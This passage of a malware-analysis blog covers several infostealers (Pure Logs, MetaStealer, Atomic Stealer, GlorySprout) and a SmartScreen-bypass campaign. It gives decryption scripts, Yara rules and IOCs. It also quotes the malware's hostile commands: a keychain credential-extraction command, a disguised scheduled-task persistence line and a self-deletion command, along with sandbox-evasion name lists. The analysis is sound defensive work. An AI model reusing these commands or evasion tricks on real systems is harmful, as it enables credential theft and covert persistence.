The stealer uses a Socket for TCP/IP communication. It sets up a TCP/IP socket and attempts to connect to a server, and if the connection is successful, it begins receiving data. It continuously tries to connect, with a 5-second delay between attempts, in case of initial failure. The default port for communication is 7702, but that can be changed.

Before sending the actual data to C2, it sends the data size as shown below.

The exfiltrated data is sent at once instead of in separate parts, which impacts the successful infection. The attacker will not receive any data if the communication is interrupted at a certain point. It is worth mentioning that stealers such as Raccoon Stealer send the data in parts to the C2 server, so in case of network interruption, at least some data is exfiltrated.

As it was briefly mentioned before, Pure Logs Stealer uses 3DES for data encryption that is sent over to C2. The 3DES key is derived from the value supplied as one of the parameters along with the C2 IP address in the stealer payload.

The Python implementation to decrypt the traffic:

# Author: RussianPanda

import gzip
import binascii
from Crypto.Cipher import DES3
from Crypto.Hash import MD5
from Crypto.Util.Padding import unpad

# Decrypt data using 3DES with MD5 hash of a key string

def decrypt_3des(encrypted_data_hex, key_string):
    encrypted_data = binascii.unhexlify(encrypted_data_hex)
    md5_hash = MD5.new()
    md5_hash.update(key_string.encode('utf-8'))
    key = md5_hash.digest()
    cipher = DES3.new(key, DES3.MODE_ECB)

  
    # Decrypt the data
    decrypted_data = cipher.decrypt(encrypted_data)
    decrypted_data_unpadded = unpad(decrypted_data, DES3.block_size)
    return decrypted_data_unpadded

def decompress_gzip(data):
    data_without_length = data[4:]
    decompressed_data = gzip.decompress(data_without_length)
    return decompressed_data
    
encrypted_data_hex = ""

# Key string used for encryption
key_string = ""

# Decrypt the data
decrypted_data = decrypt_3des(encrypted_data_hex, key_string)
decompressed_data = decompress_gzip(decrypted_data)

# Saving the decompressed data to a file
output_file = "decrypted_data.bin"  
with open(output_file, 'wb') as file:
    file.write(decompressed_data)
print(f"Decompressed data saved as {output_file}")

Conclusion

Despite the obfuscation and layers of unpacking, Pure Logs Stealer is similar to other .NET stealers and does not possess any special functionalities. The effectiveness of its file grabber and file loader features remains to be questioned.

Detection Rules

You can access the Yara detection rule for Pure Logs Stealer here.

You can access the Sigma detection rule for Pure Logs Stealer here.

Indicators of Compromise

Name	Indicators
Stealer Payload	2b84f504b2b8389d28f2a8179a8369fc511391e7331f852aaf3a6a2f26a79ee4
Stealer Payload	8543ea15813ea170dd0538d7cd629f451ceb7e18b07c4db1cdbce5e089b227d4

MetaStealer Part 2, Google Cookie Refresher Madness and Stealer Drama

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Stealer’s World of Drama

Previously, I wrote a blog going through some of MetaStealer’s functionalities and did a brief comparison with Redline since they are both very similar but, at the same time, different. You might say that all stealers are the same because they have one purpose – to steal. However, each of them is somewhat different from the others, even if they borrowed the code from their predecessors.

Every stealer tries to be better than the other one despite having similar code and functionality. What is considered a good stealer? The stealer has a low detection rate and a high rate of successful infection, or what we call “отстук” in Russian. Stealers such as Redline, Metastealer, Raccoon Stealer, Lumma, RisePro, and Vidar have earned their names in the stealer market. Below is the list of top stealers’ whose logs are being sold on RussianMarket.

The popularity of mentioned stealers among users, mainly those developed by native Russian speakers, could be attributed to the ease of communication and support in their native language. As you might have noticed, stealers are notably prevalent among Russian-speaking communities. The ability to interact in one’s native language – whether it is to request new features, report issues, or inquire about the functionality of the stealer – significantly simplifies the process compared to the effort required for translation into English. This linguistic accessibility potentially broadens the client base, offering the stealer more opportunities to attract additional users.

The world of stealers is rife with drama, much like any other corner of the cybercriminal ecosystem. I was recently informed about an incident related to the Santa Barbara topic on XSS forums. This topic was created by one of Lumma’s former coders, coinciding with Lumma’s one-year anniversary. To put it briefly, Lumma’s founder did not adequately recognize or compensate the coder’s contributions, leading to dissatisfaction and underpayment.

Another drama story: some of you might know how Aurora Stealer left the market before their infamous botnet release; some users deposited money for the botnet and never got it back, of course. Now, Aurora has become a meme within the stealer’s community.

In July 2023, an advertisement was posted on XSS forums for a new stealer written in Golang, known as “EasyStealer”, then the rumors started spreading among the stealer’s community that this was the work of an Aurora developer, now the stealer is nowhere to be found.

Does all of this impact the sales of stealers? Not at all. People continue to purchase stealers as long as their functionality meets their requirements.

So, you’ve likely heard about the ongoing Google “0day” vulnerability, which allows attackers to obtain fresh cookies, granting them “indefinite” access to Google accounts. It is a rather convenient “feature,” isn’t it? However, it is also quite dangerous because an attacker would be able to get fresh cookies to Google accounts each time the old ones expire.

As @g0njxa mentioned, the feature is abused by many stealers, including RisePro, MetaStealer, Whitesnake, StealC, Lumma, Rhadamanthys, and Meduza. Additionally, as of December 29th, Vidar Stealer has implemented this feature.

The question of how long it will take Google to respond to this issue remains unanswered. However, this situation presents even more opportunities for stealers to take advantage of the vulnerability.

The reason why I brought this up is how easily it can be exploited with just a few lines of Python code that includes the decrypted token value, account ID, and the proper request to the server if some people are curious enough to find out. Although, certain parameters need to be slightly tweaked from the server’s response to make it work. Here is my video with proof-of-concept on how it works on a high level. I have created a video demonstrating the proof-of-concept at a high level. For ethical reasons, I will not delve into the technical details of the POC.

MetaStealer Part 2: Technical Analysis

In November 2023, I released the writeup on MetaStealer. However, soon after its release, the malware developer made another update that changed the class names, string encryption algorithm, binary description, and file icon.

MetaStealer new version is approximately 368KB in size with the binary description Cavils Corp. 2010 (the previous one was METRO 2022 Dev).

The logo change:

If previously, MetaStealer used “Entity” for class names; now it’s using “Schema” and “TreeObject” to store data and configurations instead of MSValue.

Instead of string replacement operations, it now accesses a decrypted string from an array based on the given index. For example, below, where it uses ManagementObjectSearcher class to query system management information. The constructor of ManagementObjectSearcher takes two parameters: a WMI query path and a query string, for example “ROOT\SecurityCenter: SELECT * FROM AntivirusProduct”.

The new string decryption algorithm works the following way:

First, the base64-encoded string gets base64-decoded and XOR’ed with the hardcoded key (in our example, it is Crayfish); the XOR’ed string then gets base64-decoded again.

Each XOR’ed and base64-decoded string is assigned as an AES key and IV (Keys[1] and Keys[2]).
The encrypted byte arrays are then reversed and decrypted using the keys and IV mentioned above

To save us some time, we can use the dynamic approach to decrypt the strings using dnlib. The wonderful approach was detailed by @n1ghtw0lf in this blog. Also, I want to thank @cod3nym for amazing tips when it comes to dealing with .NET shenanigans!

Here are the steps to decrypt the strings:

We will use dnlib, a library for reading and writing .NET assemblies to load a .NET module and assembly from a given file path.

def load_net_module(file_path):
    return ModuleDefMD.Load(file_path)

def load_net_assembly(file_path):
    return Assembly.LoadFile(file_path)
# Main script
module = load_net_module(file_path)
assembly = load_net_assembly(file_path)

We will define the decryption signature (decryption_signature) to identify methods that are likely used for decryption. This signature includes the expected parameters and return type of the decryption methods.

decryption_signature = [
    {"Parameters": ["System.Int32"], "ReturnType": "System.String"}
]

We will search the loaded assembly for methods that match the defined decryption signature.

def find_decryption_methods(assembly):
    suspected_methods = []
    flags = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic
    for module_type in assembly.GetTypes():
        for method in module_type.GetMethods(flags):
            for sig in decryption_signature:
                if method_matches_signature(method, sig):
                    suspected_methods.append(method)
    return suspected_methods

Finally, we will invoke the suspected decryption methods by scanning the assembly’s methods for calls to the suspected decryption methods, extracting the parameters passed to these methods, and invoking the decryption methods with the extracted parameters.

def invoke_methods(module, suspected_methods):
    results = {}
    for method in suspected_methods:
        for module_type in module.Types:
            if not module_type.HasMethods:
                continue
            for m in module_type.Methods:
                if m.HasBody:
                    for insnIdx, insn in enumerate(m.Body.Instructions):
                        if insn.OpCode == OpCodes.Call:
                            called_method_name = str(insn.Operand)
                            if method.Name in called_method_name:
                                params = extract_parameters(m.Body.Instructions, insnIdx, method)
                                if len(params) == len(method.GetParameters()):
                                    try:
                                        result = invoke_method_safely(method, params)
                                        if result is not None:
                                            location = f"{module_type.FullName}.{m.Name}"
                                            results[location] = result
                                    except Exception as e:
                                        None
    return results

We will also include the logic to handle different types of parameters, such as integers and strings. It uses get_operand_value to extract values from method instructions based on their type.

def get_operand_value(insn, param_type):
    if "Int32" in param_type and insn.IsLdcI4():
        return Int32(insn.GetLdcI4Value())
    elif "String" in param_type and insn.OpCode == OpCodes.Ldstr:
        return insn.Operand
    return None

You can access the full script here.

Note: Please run the script strictly in a sandbox environment.

The output of the script (tested on the deobfuscated sample MD5: e6db93b513085fe253753cff76054a2a):

You might have noticed an interesting base64-encoded string in the output above.

Upon decoding, we receive a .NET executable qemu-ga.exe (MD5: e6db93b513085fe253753cff76054a2a).

Now, an interesting moment: MetaStealer writes that executable to the Startup after successfully receiving the configuration from the C2 server and collecting user information. The executable does not do anything but enters the indefinite loop that alternates between sleeping for 100 seconds and waiting for user input without doing anything with that input.

Another addition to the new version of MetaStealer is the username and computer name check to avoid sandbox environments; if any of the usernames/computer names are found in the list, the stealer process will exit.

List of computer names:

	{
		"bee7370c-8c0c-4", "desktop-nakffmt", "win-5e07cos9alr", "b30f0242-1c6a-4", "desktop-vrsqlag", "q9iatrkprh", "xc64zb", "desktop-d019gdm", "desktop-wi8clet", "server1",
		"lisa-pc", "john-pc", "desktop-b0t93d6", "desktop-1pykp29", "desktop-1y2433r", "wileypc", "work", "6c4e733f-c2d9-4", "ralphs-pc", "desktop-wg3myjs",
		"desktop-7xc6gez", "desktop-5ov9s0o", "qarzhrdbpj", "oreleepc", "archibaldpc", "julia-pc", "d1bnjkfvlh", "compname_5076", "desktop-vkeons4", "NTT-EFF-2W11WSS"
	};

List of usernames:

	{
		"wdagutilityaccount", "abby", "peter wilson", "hmarc", "patex", "john-pc", "rdhj0cnfevzx", "keecfmwgj", "frank", "8nl0colnq5bq",
		"lisa", "john", "george", "pxmduopvyx", "8vizsm", "w0fjuovmccp5a", "lmvwjj9b", "pqonjhvwexss", "3u2v9m8", "julia",
		"heuerzl", "harry johnson", "j.seance", "a.monaldo", "tvm"
	};

Detection Rules

You can access Yara rules here.

You can access Sigma rules here.

Indicators of Compromise

Name	Indicator
MetaStealer	e6db93b513085fe253753cff76054a2a
MetaStealer	a8d6e729b4911e1a0e3e9053eab2392b
MetaStealer	b3cca536bf466f360b7d38bb3c9fc9bc
C2	5.42.65[.]34:25530

For more samples, please refer to the result of my Yara scan on UnpacMe.

From Russia With Code: Disarming Atomic Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

Atomic Stealer is known to be the first stealer for MacOS devices, it first appeared on Russian hacking in March, 2023.

For 3000$ per month, the user gets the access to the panel. The user provides Telegram Bot ID and build ID to the seller and the user receives the build.

The stealer allegedly has the following functionalities and features:

Login Keychain dump
Extract system information
FileGrabber (from Desktop, Documents)
MacOS Password retrieval
Convenient web panel
MetaMask brute-forcer
Crypto-checker (tool to check the information on crypto assets)
Telegram logs

List of browsers supported:

Chrome (Autofills, Passwords, Cookies, Wallets, Cards)
Firefox (Autofills, Cookies)
Brave (Cookies,Passwords,Autofills, Wallets, Cards)
Edge (Cookies,Passwords,Autofills, Wallets, Cards)
Vivaldi (Cookies,Passwords,Autofills, Wallets, Cards)
Yandex (Cookies,Autofills, Wallets, Cards)
Opera (Cookies,Autofills, Wallets, Cards)
OperaGX (Cookies, Autofills, Wallets, Cards)

Wallet and plugins:

Electrum
Binance
Exodus
Atomic
Coinomi
Plus another 60 plugins

Cyble identified the Go source code path containing the username iluhaboltov. That is not confirmed but might suggest that the developer’s name is Ilya Boltov.

Technical Analysis

In December 2023, Jérôme Segura published an article on the new version of Atomic Stealer circulating on the Internet. Unlike previous versions where the strings were in cleartext, in the new version of AMOS, all the strings are encrypted.

To cheat a little bit, we can look at the functionality of the previous Atomic Stealer to be able to recognize and interpret the actions for some of the decrypted strings in the newer versions.

In the previous version (MD5: bf7512021dbdce0bd111f7ef1aa615d5), AMOS implements anti-VM checks, the stealer executes the command system_profiler SPHardwareDataType. system_profiler is a command-line utility in macOS that provides detailed information about the hardware and software configuration of the Mac device. It’s the command-line equivalent of the “System Information” on Windows and MacOS machines that users can access through the GUI. SPHardwareDataType is a specific data type specifier for the system_profiler command, it instructs the utility to display information related only to the hardware of the system, such as processor name, number of processors, model name, hardware UUID, serial number, etc. If it detects VMware or Apple Virtual Machine – the program exits. If not, the collected information is passed to /Sysinfo.txt.

The FileGrabber in the previous version grabs files with the following extensions from Desktop and Documents folder:

txt
rtf
xlx
key
wallet
jpg
png
web3

The ColdWallets function grabs the cold wallets. Cold wallets often referred to as “cold storage,” is a method of storing cryptocurrencies offline.

GrabChromium function is responsible for grabbing data such as AutoFill, Web Data, Login Data, Wallets, Password, Local Extension Settings data from Chromium-based browsers such as Microsoft Edge, Vivaldi, Google Chrome, Brave, Opera within ~/Library/Application Support/ path.

keychain function is responsible for retrieving pbkdf2 key from the keychain location. In the screenshot below we can see the pass() being executed if the result of dscl command is not an empty string (“dscl /Local/Default -authonly “, additional parameters are passed to the command including username and an empty password), which means that it would likely fail the authentication.

The pass function is responsible for prompting user to enter the password for the device by displaying a message dialog “macOS needs to access System settings %s Please enter your password.” with osascript with title “System Preferences”: Sets the title of the dialog window to System Preferences. The dialog will automatically close after 30 seconds if the user doesn’t interact with it. After retrieving a password with GetUserPassword from the dialog box, the function checks if the returned password is not an empty string and if the password is not empty, the function then calls getpass with the entered password. getpass will try to authenticate with entered password and if it returns 0, which means that the password was entered incorrectly, the user gets “You entered an invalid password” display message.

Once a valid password is entered, the function proceeds with writing the password to /Users/run/{generated_numeric_value}/password-entered , based on my understanding. The path with the numeric value is generated using the function below where the stealer gets the current time of the device and then seeds the current time with the random number generator.

The function then checks if the user’s keychain file (login.keychain-db) exists. If it does, it copies this keychain file to a new location specified by /Users/run/{generated_numeric_value}/login-keychain. The Login Keychain acts as the primary storage file in macOS, where it keeps a majority of the passwords, along with secure notes and various other sensitive pieces of information.”

Let’s come back to pbkdf2 key: in order to grab the key, the stealer executes the command:

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

The output is compared against the string SecKeychainSearchCopyNext. SecKeychainSearchCopyNext is a macOS API function used to find the next keychain item that matches given search criteria. If the output is not SecKeychainSearchCopyNext, the code constructs a file path under /Chromium/Chrome and then writes the extracted key into a file named Local State. The pbkdf2 key serves as an essential component for password decryption in Chrome.

Within function dotask(), after collecting data from functions (it’s worth mentioning that the data collected are appeared to be stored at /Users/run/{generated_numeric_value}):

GrabChromium()
keychain()
systeminfo()
FileGrabber()
GrabFirefox()
ColdWallets()

The stealer uses ditto, a command-line utility on macOS that’s used for copying, creating and extracting files, directories and archives, to archive the retrieved logs and sends them over to the command-and-control server. The command used to archive the files: “ditto -c -k –sequesterRsrc –keepParent”. The zip archive name is the same as the randomly generated numeric value that is present in the path mentioned above.

The example of the archived logs:

The logs are then sent to the Command and Control (C2) server using a POST request to the /sendlog endpoint.

New Version of AMOS

In the new version of AMOS, the string are encrypted using series of XOR operations shown in the image below.

Let’s briefly go through it:

The algorithm first checks a specific condition based on the 10th byte of the array. If this byte (when treated as a binary value) has its least significant bit set to 0 (meaning it’s an even number), the decryption process proceeds.
The algorithm iterates through a portion of the byte array, starting from a specific position. In each iteration, it compares the current byte with the following byte and depending on how the current byte relates to the next byte, different XOR operations are applied. These operations are:
- If the current byte is one less than the next, XOR it with the next byte plus 1.
- If the current byte is two less than the next, XOR it with the next byte plus 2.
- If the current byte equals the next byte, XOR it with the current index minus 4 (this value is different for each encrypted string)
- If the current byte is four less than the next, XOR it with the next byte plus 3.
- If the current byte is five less than the next, XOR it with the next byte plus 4.
- After applying the XOR operation, the current byte is incremented by 1, and the algorithm moves to the next byte.
This whole process continues until a certain condition is met (like reaching a specific array index), signifying the end of the encrypted data.

After struggling to understand why I was failing to reproduce the decryption algorithm from C to Python, @cod3nym helped me to figure out that the solution involved using ctypes.

So, using that information, I wrote the IDAPython script to decrypt the strings, so I don’t have to manually enter each of them in 😀 The script is pretty wonky, but it does the job. You can access the script here.

AMOS uses mz_zip_writer_add_mem, Miniz compression, for archiving the extracted logs.

send_me function is responsible for sending the logs in a ZIP archive over to C2 to port 80 using the hardcoded UUID 7bc8f87e-c842-47c7-8f05-10e2be357888. Instead of using /sendlog as an endpoint, the new version uses /p2p to send POST requests.

passnet function is responsible for retrieving the pbkdf2 from Chrome, the stealer calls it masterpass-chrome.

pwdget function is responsible for retrieving the password of the MacOS device via the dialog “Required Application Helper. Please enter passphrase for {username}” as shown below.

myfox function is responsible for retrieving Firefox data such as:

/cookies.sqlite
/formhistory.sqlite
/key4.db
/logins.json

Compared to the previous version, the new version gathers not only information about hardware but also system’s software and display configurations with the command system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType.

The FileGrabber functionality is shown in the image below.

FileGrabber has several functionalities:

It sets a destination folder path named fg in the home folder of the current user (/Users/{username}). If this folder doesn’t exist, it creates it. It then defines a list of file extensions (“txt”, “png”, “jpg”, “jpeg”, “wallet”, “keys”, “key”) to filter files for later operations. It initializes a variable “bankSize” to 0, possibly intended to keep track of the total size of files processed.
Next, it proceeds with retrieving the path to Safari’s cookies folder and tries to duplicate the Cookies.binarycookies file from Safari’s folder to the destination folder. This file contains Safari browser cookies.
For processing notes data it attempts to duplicate specific Notes database files (“NoteStore.sqlite”, “NoteStore.sqlite-shm”, “NoteStore.sqlite-wal”) to the destination folder. These files contain user’s notes.
For processing files on Desktop and Documents folders it retrieves all files from the Desktop and the Documents folder. For each file, it checks if the file’s extension is in the predefined list mentioned above. If the file matches the criteria and the total size (bankSize) of processed files does not exceed 10 MB, it duplicates the file to the destination folder and updates “bankSize”.

You can access the list of decrypted strings here.

Conclusion

Besides encrypted strings, the new version appears to perform additional enumeration on the infected machine and, from what I could tell, the ZIP archive is not written to the disk anymore. The latest version of AMOS is definitely designed to leave as few traces as possible on the infected machines. There is also a typo in one of the wallet addresses in the new version for some reason acmacodkjbdgmoleeebolmdjonilkdbch , which is supposed to be acmacodkjbdgmoleebolmdjonilkdbch.

I would like to extend my thanks to Edward Crowder for his assistance with MacOS questions and to @cod3nym for the help in implementing the Python decryption function.

Detection Rules

You can access Yara rules here

Indicators of Compromise

Name	Indicator
AMOS Old Version	bf7512021dbdce0bd111f7ef1aa615d5
AMOS New Version	57db36e87549de5cfdada568e0d86bff
AMOS New Version	dd8aa38c7f06cb1c12a4d2c0927b6107
C2	185.106.93[.]154
C2	5.42.65[.]108

The GlorySprout or a Failed Clone of Taurus Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

The GlorySprout ads surfaced on the XSS forum at the beginning of March 2024 (the name makes me think of beansprout; perhaps the seller behind the stealer is a vegetarian).

The stealer, developed in C++, is available for purchase at $300, offering lifetime access and 20 days of crypting service, which encrypts the stealer’s payload to evade detection. Similar to other stealers, it includes a pre-built loader, Anti-CIS execution, and a Grabber module (which is non-functional). While the stealer advertises AntiVM and keylogging capabilities, I have not witnessed either in action or code. Additionally, it features support for log backup and log banning, allowing for the exclusion of logs from specified countries or IPs.

What particularly captured my attention regarding this stealer was that an individual, who prefers to stay anonymous, informed me it’s a clone of Taurus Stealer and shared some interesting files with me.

Taurus Stealer Backstory

Let’s talk a little about Taurus Stealer Project. It first appeared for sale on XSS in April 2020.

The stealer is written in C++ with a Golang panel. It was sold for $150 for lifetime (I guess the pricing was different in 2020).

One of the XSS users claims that the panel is very similar to Predator The Thief stealer. You can read a nice writeup on Predator Stealer here.

The Predator stealer shares many similarities with Taurus Stealer, including encryption in C2 communication, Bot ID formatting, the Anti-VM feature, and naming conventions for log files, as well as resemblances in the panel GUI. However, to refocus, Taurus Stealer terminated their project around 2021. The cracked version of Taurus Stealer is being sold on Telegram, and there’s information suggesting that Taurus Stealer sold their source code, which could explain these parallels.

Now, let’s confirm the theories…

Below is the screenshot of GlorySprout panel:

And this is the Taurus Stealer panel:

Can you spot the similarities and differences? 🙂

There is a great writeup on Taurus Stealer out there by Outpost24 that you can access here.

I will focus on the brief analysis of GlorySprout so we can make some conclusions later.

GlorySprout Technical Analysis

GlorySprout dynamically resolves APIs through API hashing, targeting libraries such as shell32.dll, user32.dll, ole32.dll, crypt32.dll, advapi32.dll, ktmw32.dll, and wininet.dll. This hashing process involves operations such as multiplication, addition, XOR, and shifting.

The reproduced Python code for API hashing:

def compute_hash(function_name):
    v9 = 0
    for char in function_name:
        v9 = ord(char) + 16 * v9
        if v9 & 0xF0000000 != 0:
            v9 = ((v9 & 0xF0000000) >> 24) ^ v9 & 0xFFFFFFF
    return v9

The stealer accesses the hashed API values via specific offsets.

The Anti-CIS function is shown below:

The stealer exists if any of the language identifiers is found.

The stealer obfuscates the strings via XOR and arithmetic operations such as substitution.

The persistence is created via scheduled task named \WindowsDefender\Updater with ComSpec (cmd.exe) spawning the command /c schtasks /create /F /sc minute /mo 1 /tn “\WindowsDefender\Updater” /tr “. If the loader module is used, the task runs the dropped secondary payload from %TEMP% folder.

If the loader module is configured, the retrieved payload name (8 characters) would be randomly generated via the function below from the predefined string aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ.

The function described is also used to generate the filename parameter in a Content-Disposition header for C2 communications as well as the RC4 key for the ZIP archive with collected data.

But the function to generate random string doesn’t always generate random strings and we will come back to it in the C2 communications section.

The C2 address of the stealer is retrieved from the resource section of the decrypted/unpacked payload.

C2 Communication

Communication with the C2 server is performed via port 80. Upon checking in with the C2 server, the infected machine sends out the POST request “/cfg/data=” using the user-agent “Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 83.0.5906.121 Safari/537.36”. The BotID value is encrypted with the RC4 key generated via random key generation function that was previously mentioned and base64-encoded. The RC4 key is the first 10 bytes of the encrypted string.

The base64-encoding set of characters is obfuscated as shown below.

Now, interestingly enough, the RC4 key for the initial check-in does not change depsite using the randomization, because the initial state value remains constant, which is 0xC40DF552. If we try the randomization function with Python and using the initial state value, we get the same value, which is IDaJhCHdIlfHcldJ.

The reproduced Python code for randomization function:

initial_seed = 0xC40DF552  # Initial state

src_data = bytes.fromhex("1B6C4C6D4D6E4E6F4F70507151725273537454755576567757785879597A5A7B5B7C5C7D5D7E5E7F5F80608161826283")

adjusted_src_data = bytearray(len(src_data))
for i, b in enumerate(src_data):
    adjusted_src_data[i] = b - (src_data[0] % 16)

def rand(seed):
    seed = (214013 * seed + 2531011) & 0xFFFFFFFF  
    return ((seed >> 16) & 0x7FFF), seed  

def generate_key(a2, seed):
    key = ""
    for _ in range(a2):
        rand_val, seed = rand(seed)
        key += chr(adjusted_src_data[1 + (rand_val % 23)]) 
    return key, seed

value, final_seed = generate_key(0x10, initial_seed)
value, final_seed

print(value)

After the check-in, the server responds with an encrypted configuration, where the first 10 bytes is the RC4 key.

The decrypted conguration looks like this:

[1;1;1;1;1;1;1;1;1;1;1;1;1;1;1;0;0;1;1]#[]#[<infected_machine_IP;<infected_machine_GEO]#[[<loader_URL;;;1;1;1]]

Here is an example breakdown of the configuration (0: stands for disabled, 1: stands for enabled):

1: Grab browser history
1: Grab screenshot
1: Grab cryptowallets recursively from %AppData% folder (Cryptowallets supported based on the analysis: Electrum, MultiBit, Armory, Ethereum, Bytecoin, Jaxx, Atomic, Exodus, DashCore, Bitcoin, WalletWasabi, Daedalus Mainnet, Monerom )
1: Grab Steam sessions
1: Grab BattleNet account information
1: Grab Telegram session
1: Grab Discord session
1: Grab Skype messages
1: Grab Jabber accounts from %AppData% folder
1: Grab Foxmail accounts
1: Grab Outlook accounts
1: Grab FileZilla data
1: Grab WinFTP accounts
1: Grab WinSCP accounts
1: Grab Authy
0: Grab NordVPN
0: Unknown placeholder
1: Anti-VM
1: Self-deletion (self-delete after sending the logs to C2): self-deletion performs with the command “C:\Windows\system32\cmd.exe” /c ping google.com && erase C:\Users\username\Desktop\payload.exe” . Pinging introduces the delay, likely to guarantee the successful full execution of the payload.
loader_URL – contains the link to the secondary payload
1: Only with crypto – the loader payload only runs if cryptowallets are present on the machine
1: Autorun – creates the persistence for a secondary payload
1: Start after creating – runs the secondary payload after dropping it in %TEMP% folder

After receiving the configuration, the infected machine sends out the POST request with /log/ parameter containing the ZIP archive with collected data to C2 server as shown below:

The data is encrypted the same way, with RC4 and Base64-encoded.

The server sends 200 OK response to the machine and the machine ends the communication with the POST request containing /loader/complete/?data=1 .

Additional Information

As mentioned before, the panel of the stealer is written in Golang. The panel also utilizes SQL databases to process configuration and data. The stealer makes use of sqlx library, a popular extension for Go’s standard database/sql package designed to make it easier to work with SQL databases.

Interesting usernames found in mysql database:

It’s worth nothing that the database contains the mention of taurus. At this point, we can make a confident assessment that it’s a clone of Taurus Stealer code based on the technical analysis.

The example of the collected log:

General/forms.txt – contains the decrypted browser passwords. The browser passwords are decrypted on the server.

Conclusion

Based on the GlorySprout analysis, it is confidently assessed that the individual behind GlorySprout cloned the code of the Taurus Stealer project and modified it according to their specific needs and requirements. A notable difference is that GlorySprout, unlike Taurus Stealer (according to the version analyzed by Outpost24), does not download additional DLL dependencies from C2 servers. Additionally, GlorySprout lacks the Anti-VM feature that is present in Taurus Stealer. GlorySprout is likely to fade away e and fail to achieve the popularity of other stealers currently on the market.

Indicators Of Compromise

Name	Indicators
GlorySprout	3952a294b831e8738f70c2caea5e0559
C2	147.78.103.197
C2	45.138.16.167
GlorySprout	d295c4f639d581851aea8fbcc1ea0989

Detection

rule win_mal_GlorySprout_Stealer {
    meta:
        author = "RussianPanda"
        description = "Detects GlorySprout Stealer"
        date = "3/16/2024"
        hash = "8996c252fc41b7ec0ec73ce814e84136be6efef898822146c25af2330f4fd04a"
    strings:
        $s1 = {25 0F 00 00 80 79 05 48 83 C8 F0 40}
        $s2 = {8B 82 A4 00 00 00 8B F9 89 06 8D 4E 0C 8B 82 A8 00 00 00 89 46 04 0F B7 92 AC 00 00 00 89 56 08}
        $s3 = {0F B6 06 C1 E7 04 03 F8 8B C7 25 00 00 00 F0 74 0B C1 E8 18} 
    condition:
        uint16(0) == 0x5A4D and all of them and #s1 > 100
}

You can also access the Yara rule here

Exploiting CVE-2024-21412: A Stealer Campaign Unleashed

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: The stolen information can be used for future attack
Severity Level: High

CVE-2024-21412 is a security bypass vulnerability in Microsoft Windows SmartScreen that arises from an error in handling maliciously crafted files. A remote attacker can exploit this flaw to bypass the SmartScreen security warning dialog and deliver malicious files. Over the past year, several attackers, including Water Hydra, Lumma Stealer, and Meduza Stealer, have exploited this vulnerability.

FortiGuard Labs has observed a stealer campaign spreading multiple files that exploit CVE-2024-21412 to download malicious executable files. Initially, attackers lure victims into clicking a crafted link to a URL file designed to download an LNK file. The LNK file then downloads an executable file containing an HTA script. Once executed, the script decodes and decrypts PowerShell code to retrieve the final URLs, decoy PDF files, and a malicious shell code injector. These files aim to inject the final stealer into legitimate processes, initiating malicious activities and sending the stolen data back to a C2 server.

The threat actors have designed different injectors to evade detection and use various PDF files to target specific regions, including North America, Spain, and Thailand. This article elaborates on how these files are constructed and how the injector works.

Telemetry map highlights the United States, Spain, and Thailand

Figure 1: Telemetry

Attack chain diagram. Downloading the LNK file from the web downloads the EXE file, which embeds HTA code in overlay and drops the decoy PDF and SC injector. This branches off into two attack patterns: first, an image file is downloaded from the site imghippo that injects shell code that downloads HijackLoader, which is used to download ACR stealer and Lumma stealer. In the second branch, the SC injector injects shell code to download the Meduza stealer.

Figure 2: Attack chain

Initial Access

To start, the attacker constructs a malicious link to a remote server to search for a URL file with the following content:

Constructing malicious link to a remote server to search for a URL file

Figure 3: URL files

The target LNK file employs the “forfiles” command to invoke PowerShell, then executes “mshta” to fetch an execution file from the remote server “hxxps://21centuryart.com.”

Figure 4: LNK file

During our investigation, we collected several LNK files that all download similar executables containing an HTA script embedded within the overlay. This HTA script has set WINDOWSTATE=”minimize” and SHOWTASKBAR=”no.” It plays a crucial role in the infection chain by executing additional malicious code and seamlessly facilitating the next stages of the attack.

Figure 5: HTA script in overlay

After decoding and decrypting the script, a PowerShell code downloads two files to the “%AppData%” folder. The first is a decoy PDF, a clean file that extracts the victim’s attention from malicious activity, and the other is an execution file that injects shell code for the next stage.

Decoded and decrypted script. This final step downloads the decoy PDF and the EXE file

Figure 1: Telemetry

Examples of decoy PDF files, such as Medicare enrollment forms and US Department of Transportation certificates

Figure 7: Decoy PDF files

Shell Code Injector

In this attack chain, we identified two types of injectors. The first leverages an image file to obtain a shell code. As of mid-July, it had low detection rates on VirusTotal.

Second variant of shell code injector on VirusTotal. The community score is 1 out of 72

Figure 8: Shell code injector on VirusTotal

After anti-debugging checking, it starts downloading a JPG file from the Imghippo website, “hxxps://i.imghippo[.]com/files/0hVAM1719847927[.]png.” It then uses the Windows API “GdipBitmapGetPixel” to access the pixels and decode the bytes to get the shell code.

Shell code injector downloads a png file from imghippo

Figure 9: Getting the PNG file

It then calls “dword ptr ss:[ebp-F4]” to the entry point of the shell code. The shell code first obtains all the APIs from a CRC32 hash, creates a folder, and drops files in “%TEMP%.” We can tell that these dropped files are HijackLoader based on the typical bytes “\x49\x44\x 41\x54\xC6\xA5\x79\xEA” found in the encrypted data.

Figure 10: Call shell code’s entry point

Figure 11: CRC32 hashes for Windows APIs

Figure 12: Dropping files in the temp folder

Figure 13: Dropped HijackLoader files

The other injector is more straightforward. It decrypts its code from the data section and uses a series of Windows API functions—NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection, NtMapViewOfSection again, and NtProtectVirtualMemory—to perform shell code injection.

Figure 14: Assembly code for calling shell code

Final Stealers

This attack uses Meduza Stealer version 2.9 and the panel found at hxxp://5[.]42[.]107[.]78/auth/login.

Figure 15: Meduza Stealer’s panel

We also identified an ACR stealer loaded from HijackLoader. This ACR stealer hides its C2 with a dead drop resolver (DDR) technique on the Steam community website, hxxps://steamcommunity[.]com/profiles/76561199679420718.

Base64 encoded C2 on Steam community site

Figure 16: Base64 encoded C2 on Steam

We also found the C2 for other ACR Stealers on Steam by searching for the specific string, “t6t”.

